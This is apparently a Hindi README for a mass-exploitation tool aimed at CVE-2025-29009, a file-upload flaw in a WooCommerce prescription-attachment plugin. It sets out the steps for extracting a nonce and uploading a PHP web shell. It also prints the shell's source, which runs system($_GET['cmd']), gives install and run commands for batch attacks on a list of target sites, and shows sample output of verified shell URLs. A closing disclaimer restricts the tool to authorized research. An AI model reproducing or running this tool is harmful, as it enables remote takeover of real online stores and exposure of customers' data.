
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 उच्च प्राथमिकता वाले Arbitrary File Upload के लिए असुरक्षित है।
वर्डप्रेस मेडिकल प्रिस्क्रिप्शन अटैचमेंट प्लगइन फॉर वूकॉमर्स प्लगइन <= 1.2.3 एक उच्च प्राथमिकता वाले मनमाने फ़ाइल अपलोड के लिए संवेदनशील है
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| क्षेत्र | विवरण |
|---|---|
| CVE | CVE-2025-29009 |
| प्लगइन | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| प्रभावित | सभी संस्करण ≤ 1.2.3 |
| प्रमाणीकरण | कोई आवश्यक नहीं |
| प्रकार | खतरनाक प्रकार के फ़ाइल का असीमित अपलोड → वेब शेल अपलोड |
| CWE | CWE-434 · खतरनाक प्रकार के फ़ाइल का असीमित अपलोड |
मूल कारण:
wkwcpa_handle_prescription_session AJAX हैंडलर (action=wkwcpa_handle_prescription_session) सर्वर-साइड फ़ाइल एक्सटेंशन या MIME प्रकार को मान्य किए बिना wkwc_pa_prescription_attachment[] के माध्यम से फ़ाइल अपलोड स्वीकार करता है। एक अप्रमाणित हमलावर सार्वजनिक WooCommerce स्टोरफ्रंट (जो wkwcpaFrontObj जावास्क्रिप्ट ऑब्जेक्ट में एम्बेडेड है) से ajaxNonce निकाल सकता है, फिर एक PHP वेब शेल सीधे सर्वर की अपलोड निर्देशिका में अपलोड कर सकता है। प्रतिक्रिया अपलोड की गई फ़ाइल का पूर्ण सुलभ URL लौटाती है।
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
अपना PHP शेल बनाएं और एक अद्वितीय हस्ताक्षर स्ट्रिंग एम्बेड करें ताकि उपकरण सफल निष्पादन को सत्यापित कर सके:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
इसे स्क्रिप्ट के समान निर्देशिका में shell.php के रूप में सहेजें।
स्ट्रिंग NxploitedShellOK हस्ताक्षर है — सत्यापन पास करने के लिए यह शेल की प्रतिक्रिया में दिखाई देना चाहिए।
python3 CVE-2025-29009.py
लक्ष्य फ़ाइल (डिफ़ॉल्ट list.txt): list.txt
थ्रेड (डिफ़ॉल्ट 10): 10
स्थानीय शेल फ़ाइल नाम (जैसे shell.php): shell.php
अद्वितीय शेल हस्ताक्षर (जैसे NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
http://याhttps://के बिना लक्ष्यों को स्वचालित रूप सेhttp://उपसर्ग दिया जाता है।
| फ़ाइल | सामग्री |
|---|---|
shells.txt | प्रति पंक्ति एक सत्यापित शेल URL |
टर्मिनल:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| कोड | अर्थ |
|---|---|
shell_file_missing | कार्यशील निर्देशिका में shell.php नहीं मिला |
no_front_page | कोई उम्मीदवार पृष्ठ HTTP 200 नहीं लौटाया |
nonce_not_found | किसी भी पृष्ठ पर wkwcpaFrontObj मौजूद नहीं |
upload_error | POST के दौरान नेटवर्क त्रुटि |
json_parse_error | प्रतिक्रिया मान्य JSON नहीं है |
success_false | सर्वर ने data.success = false लौटाया |
no_attachments | अपलोड सफल लेकिन प्रतिक्रिया में कोई URL नहीं |
shell_url_not_found | प्रतिक्रिया HTML से फ़ाइल URL पार्स नहीं कर सका |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
केवल अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए।
लेखक उन प्रणालियों के खिलाफ उपयोग के लिए कोई जिम्मेदारी नहीं लेता
जिनका ऑपरेटर स्वामित्व नहीं रखता या जिनके परीक्षण के लिए स्पष्ट लिखित अनुमति नहीं है।
अनधिकृत उपयोग CFAA, CMA और दुनिया भर के समकक्ष कानूनों का उल्लंघन करता है।
आप अकेले अपने कार्यों के लिए जिम्मेदार हैं।
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · 1.2.4 में ठीक किया गया